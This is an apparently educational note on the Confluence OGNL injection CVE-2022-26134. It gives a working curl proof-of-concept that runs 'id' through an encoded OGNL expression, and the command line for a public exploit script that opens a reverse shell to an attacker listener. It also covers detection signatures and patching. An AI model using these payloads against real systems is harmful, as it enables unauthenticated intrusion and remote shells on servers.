Confluence OGNL (CVE-2022-26134)

CVE-2022-26134 is an OGNL injection in Atlassian Confluence Server and Data Center (affecting multiple versions up to 7.18.0) that allows unauthenticated code execution. OGNL (Object-Graph Navigation Language) is the expression language used by many Java web applications; Confluence evaluated it in certain URL parameters without sanitizing them, so a well-crafted expression runs server-side.

The payload travels in the request's path itself: a GET (or POST) is sent against an endpoint like /%24%7B...%7D/ where ${...} holds the OGNL expression. On resolving it, Confluence runs the command with the process's privileges (often the confluence user).

curl -s http://<ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/

In practice you use an exploit that automates the encoding and returns a reverse shell (e.g. jbaines-r7's through_the_wire):

python3 through_the_wire.py --rhost <ip> --rport 8090 --lhost <lhost> --lport <lport> --protocol http:// --reverse-shell

Nuances. It's one of the most exploited CVEs of 2022 (used massively in the wild). The resulting access is usually that of the user running Confluence, not root, so it almost always chains with a local escalation. The version shown on the login page or footer gives away whether the target is vulnerable.

How to detect it. The signature is in the URL: requests (authenticated or not) whose path contains an encoded OGNL expression, %24%7B (${) with java.lang.Runtime/getRuntime/exec, a pattern IDS/WAF signatures for CVE-2022-26134 flag instantly. On the host, the Confluence process (java, user confluence) spawning sh/bash/id as a child (something serving a wiki never does) is the confirmation. Since it was mass-exploited in the wild, any ${...} in the path toward an unpatched Confluence should be treated as an incident; a freshly-written web shell in confluence/ closes the chain.

Defence. Update Confluence to the patched versions; Internet-facing Atlassian products are a priority target and must be kept current. Related to other command injections in Java apps.